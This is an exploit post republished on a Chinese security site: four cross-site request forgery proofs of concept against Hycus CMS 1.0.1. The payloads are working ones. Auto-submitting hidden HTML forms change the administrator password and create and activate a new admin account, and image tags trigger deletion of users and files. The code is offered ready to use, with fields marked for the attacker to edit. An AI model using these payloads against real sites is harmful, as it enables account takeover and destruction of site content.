首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Hycus CMS 1.0.1 Multiple Cross Site Request Forgery Vulnerabilities
来源:10n1z3d[at]w[dot]cn 作者:10n1z3d 发布时间:2010-08-27  

<!---
    Title: Hycus CMS 1.0.1 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Thu 26 Aug 2010 07:53:22 PM EEST
    Vendor: http://www.hycus.com/
    Download: http://www.hycus.com/download/hycuscms-1.0.1.zip
--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

    <html>
        <head>
            <title>Hycus CMS 1.0.1 Multiple CSRF Vulnerabilities - Change Admin Password</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/admin.php?adminmodule=user" method="post" >
                <!--- Edit these --->
                <input type="hidden" name="username" value="root" />
                <input type="hidden" name="fullname" value="root" />
                <input type="hidden" name="email" value="root@root.com" />
                <input type="hidden" name="pwd" value="rootroot" />
                <input type="hidden" name="password2" value="rootroot" />
                <!--- Do not edit below --->
                <input type="hidden" name="usertype" value="1" />
                <input type="hidden" name="id" value="1" />
                <input type="hidden" name="task" value="edituser" />
            </form>
        </body>
    </html>
   
-=[ CSRF PoC 2 - Create Admin User ]=-
   
    <html>
        <head>
            <title>Hycus CMS 1.0.1 Multiple CSRF Vulnerabilities - Create Admin User</title>
        </head>
        <!--- Submit the first form and delay the second one to make sure the POST request is completed --->
        <body onload="document.csrf1.submit();setTimeout('document.csrf2.submit();',5000);">
       
            <!--- We need this to submit the forms without redirects --->
            <div style="visibility:hidden">
                <iframe name="ipwn" width="20" height="20"></iframe>
            </div>
           
            <!--- Creates the user --->
            <form name="csrf1" target="ipwn" action="http://[domain]/admin.php?adminmodule=user" method="post" >
                <!--- Edit these --->
                <input type="hidden" name="username" value="root" />
                <input type="hidden" name="fullname" value="root" />
                <input type="hidden" name="email" value="root@root.com" />
                <input type="hidden" name="pwd" value="rootroot" />
                <input type="hidden" name="password2" value="rootroot" />
                <!--- Do not edit below --->
                <input type="hidden" name="usertype" value="1" />
                <input type="hidden" name="task" value="adduser" />
            </form>
           
            <!--- Activate the new user --->
            <form name="csrf2" target="ipwn" action="http://[domain]/admin.php" method="get">
                <input type="hidden" name="adminmodule" value="user" />
                <input type="hidden" name="task" value="activateuser" />
                <!--- We can guess here --->
                <input type="hidden" name="id" value="2" />
            </form>
        </body>
    </html>

-=[ CSRF PoC 3 - Delete User ]=-

    <img src="http://[domain]/admin.php?adminmodule=user&task=deleteuser&id=2" alt="Do you see this?" />
   
-=[ CSRF PoC 4 - Delete File ]=-

    <img src="http://[domain]/admin.php?adminmodule=media&task=deletefile&dir=&file=index.html" alt="Do you see this?" />
   
<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PuTTY 0.60 DLL Hijacking Explo
·mini CMS / News Script Light 1
·bds/x86-bindshell on port 2525
·Exploit Title: Mozilla Thunder
·Teamviewer 5 DLL Hijacking
·Linux Kernel < 2.6.36-rc1 CAN
·wscript.exe (XP) DLL Hijacking
·McAfee LinuxShield <= 1.5.1 Lo
·Autodesk AutoCAD 2007 dll Hija
·Leadtools ActiveX Raster Twain
·Blogman v0.7.1 (profile.php) S
·Demon tool lite DLL Hijacking
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved